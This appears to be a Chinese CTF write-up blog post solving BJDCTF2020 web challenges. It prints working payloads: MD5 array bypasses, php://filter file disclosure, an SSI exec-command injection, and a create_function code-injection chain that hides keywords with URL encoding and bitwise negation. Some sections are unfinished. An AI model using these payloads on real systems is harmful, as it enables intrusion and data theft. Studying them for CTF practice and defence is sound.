BJDCTF2020复现

由于不是本校学生,所以我在buuctf复现了一波

[BJDCTF2020]Easy MD5

第一关

抓包后看到返回包有提示,如下

image-20200824145311443

传入password=ffifdyop到达下一关

第二关

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

传入a[]=1&b[]=2绕过

第三关

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

post传入param1[]=1&param2[]=2得到flag

[BJDCTF2020]Mark loves cat

.git源码泄漏,用工具Git_Extract得到index.php的核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;%

[BJDCTF2020]The mystery of ip

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

首先使用php://input输入流和php://filter过滤器进行读取

请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: 79240f88-1651-412e-a5ae-f80e1d0c144c.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

I have a dream

返回包

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 04:56:41 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 432
Connection: close
X-Powered-By: PHP/5.6.40

<br><h1>I have a dream</h1></br>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码后得到next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里第8行,preg_replace函数开启了e模式,根据php官网对e模式的描述如下

1
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义.

虽然第二个参数没有可控的地方

[BJDCTF2020]EasySearch

扫描后发现存在index.php.swp,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

比较简单的ssi注入漏洞,没有任何过滤,直接打就好了,具体可以参考我的这篇文章ssi漏洞小结

爆破md5的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
import hashlib
import string
list = string.digits+string.ascii_letters
input_md5 = input('请输入md5值:')
for a in list:
for b in list:
for c in list:
for d in list:
for e in list:#5位数
for f in list: # 6位数
for g in list: # 7位数
str4=(a+b+c+d+e+f+g)
value = hashlib.md5(str4.encode('utf-8'))
value1 = value.hexdigest()
#print (value1)
s4 = value1[0:6]
# print (s1)
if s4 == input_md5:#写入从页面中获取6位数
print (str4)

Payload

1
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 "-->&password=000e6wc

然后访问返回头Url_is_here返回的链接即可得到flag

[BJDCTF2020]EzPHP

在网页源代码发现注释<!-- GFXEIM3YFZYGQ4A= -->,base32解码后得到1nD3x.php,访问后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

绕过

  1. $_SERVER['QUERY_STRING']是不会进行url解码的,所以我们只需要对过滤的内容进行url编码即可
  2. /^aqua_is_cute$/的绕过,直接在后面加%0a就可以绕过
  3. $_REQUEST这儿需要满足参数的值不能有字母,因为之前接收的参数为$_GET,所以我们只需要POST一些相同的参数,覆盖掉$_GET的参数就行了,这是因为$_REQUEST的解析是有一定顺序的,应该是先解析$_GET,再解析$_POST,这样我们就能绕过
  4. sha1函数这里就是常规的数组绕过
  5. 最后$code('', $arg);这里可以用create_function来执行,因为create_function的自身缺陷,存在代码执行的绕过,所以我们可以绕过create_function来进行任意代码执行。

因为这里include "flag.php";,所以我们使用get_defined_vars()来返回所有已定义变量,然后发现,真正的flag并不在这个页面上

image-20200824210639904

这样的话我们需要用require包含这个文件来读取,然后利用取反来构造,payload如下:

1
require(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

但是一直读取不到,后来网上搜了资料发现可以用require+伪协议读取,payload如下

1
2
requrie(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
))

发现buu这里会删除flag,只能直接读取文件

image-20200824214525217

完整的http构造如下:

1
2
3
4
5
http://75a89160-5c3f-490e-b233-1dcf279fbbe8.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=%64%61%74%61%3a%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=1;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post数据如下:
debu=2&file=1&passwd=2&shana=1

本文标题:BJDCTF2020复现

文章作者:xianyu123

发布时间:2020年02月08日 - 12:59

最后更新:2020年08月24日 - 21:45

原始链接:http://0clickjacking0.github.io/2020/02/08/BJDCTF2020复现/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------